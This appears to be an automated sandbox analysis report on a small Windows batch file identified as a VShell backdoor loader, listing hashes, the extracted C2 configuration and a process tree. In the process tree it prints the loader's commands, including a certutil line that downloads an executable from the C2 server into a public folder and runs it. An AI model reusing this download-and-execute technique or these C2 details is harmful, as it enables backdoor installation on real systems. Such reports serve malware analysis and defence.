Analysis
- max time kernel
148s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
27/08/2026, 12:24
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
4 signatures
150 seconds
General
- Target windows.bat
- Size 492B
- Sample260827-plhhcstsc1
- SHA256 ac180c9f670ee8c1a6acacb10cfe38dc8d2000ef42becbeb6b75a111b8e7f576
- MD5 6c06411b80d2b640b6886fcc7aae504a
- SHA1 1f71f224d2565b831c0fde397de7a628b646c21e
- SHA512 bb1b9fe490f92be930f7c4ee81e8f6d24b1d6c9bd5aa74dacf373f8356a52acaa0d2f7b7564879a91b015ddecd95f7b2b54d8b84dde7bca0534aa40531e85dfd
- TLSH T1D8F027CC24614FB1178E8983B59160C6B00E40914B60D8D96A9161EA2FD819957EFB81
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
180.76.53.183
Attributes
-
port
80
-
salt
Thanks...520
-
type
tcp
-
vkey
Thanks...520
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/3652-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 3 5756 certutil.exe 4 5756 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 3652 90856522tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1068 cmd.exe 2208 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 4880 WMIC.exe 4880 WMIC.exe 4880 WMIC.exe 4880 WMIC.exe 3652 90856522tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 4880 WMIC.exe Token: SeSecurityPrivilege 4880 WMIC.exe Token: SeTakeOwnershipPrivilege 4880 WMIC.exe Token: SeLoadDriverPrivilege 4880 WMIC.exe Token: SeSystemProfilePrivilege 4880 WMIC.exe Token: SeSystemtimePrivilege 4880 WMIC.exe Token: SeProfSingleProcessPrivilege 4880 WMIC.exe Token: SeIncBasePriorityPrivilege 4880 WMIC.exe Token: SeCreatePagefilePrivilege 4880 WMIC.exe Token: SeBackupPrivilege 4880 WMIC.exe Token: SeRestorePrivilege 4880 WMIC.exe Token: SeShutdownPrivilege 4880 WMIC.exe Token: SeDebugPrivilege 4880 WMIC.exe Token: SeSystemEnvironmentPrivilege 4880 WMIC.exe Token: SeRemoteShutdownPrivilege 4880 WMIC.exe Token: SeUndockPrivilege 4880 WMIC.exe Token: SeManageVolumePrivilege 4880 WMIC.exe Token: 33 4880 WMIC.exe Token: 34 4880 WMIC.exe Token: 35 4880 WMIC.exe Token: 36 4880 WMIC.exe Token: SeIncreaseQuotaPrivilege 4880 WMIC.exe Token: SeSecurityPrivilege 4880 WMIC.exe Token: SeTakeOwnershipPrivilege 4880 WMIC.exe Token: SeLoadDriverPrivilege 4880 WMIC.exe Token: SeSystemProfilePrivilege 4880 WMIC.exe Token: SeSystemtimePrivilege 4880 WMIC.exe Token: SeProfSingleProcessPrivilege 4880 WMIC.exe Token: SeIncBasePriorityPrivilege 4880 WMIC.exe Token: SeCreatePagefilePrivilege 4880 WMIC.exe Token: SeBackupPrivilege 4880 WMIC.exe Token: SeRestorePrivilege 4880 WMIC.exe Token: SeShutdownPrivilege 4880 WMIC.exe Token: SeDebugPrivilege 4880 WMIC.exe Token: SeSystemEnvironmentPrivilege 4880 WMIC.exe Token: SeRemoteShutdownPrivilege 4880 WMIC.exe Token: SeUndockPrivilege 4880 WMIC.exe Token: SeManageVolumePrivilege 4880 WMIC.exe Token: 33 4880 WMIC.exe Token: 34 4880 WMIC.exe Token: 35 4880 WMIC.exe Token: 36 4880 WMIC.exe Token: SeDebugPrivilege 3652 90856522tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1068 wrote to memory of 2208 1068 cmd.exe 89 PID 2208 wrote to memory of 4880 2208 cmd.exe 90 PID 2208 wrote to memory of 3036 2208 cmd.exe 91 PID 1068 wrote to memory of 5756 1068 cmd.exe 94 PID 1068 wrote to memory of 3652 1068 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4880
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:3036
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://180.76.53.183:80/?h=180.76.53.183&p=80&t=tcp&a=w64&stage=true" "C:\Users\Public\90856522tcp.exe"2⤵
- Downloads MZ/PE file
PID:5756
-
-
C:\Users\Public\90856522tcp.exe"C:\Users\Public\90856522tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3652
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\90856522tcp.exe
- Size 3KB
- SHA256 ee91672ef0215e5fbdc1b6a3b61bb475fafcc341d08efbb24bd495a3ac9fce91
- MD5 4cb02268efcc515bb38575cb4a415e8c
- SHA1 4b407856f6fb002f15a8abe33d58e05d81b03a73
- SHA512 266cc69398ea09dfadbcb29bf8e56e45d99e22f848dd82b8de46ce5abab8fb411726a0cbc6954c49f730b3f824e9e446bf27e26737f7ca9fb700a4462e381989
- TLSH T18071B54160505AF2D94DE3BF8487B8A5FD4FB24CA2C80B0F0398981A2F720BBB1D9613
- MD5 SHA1 SHA512 TLSH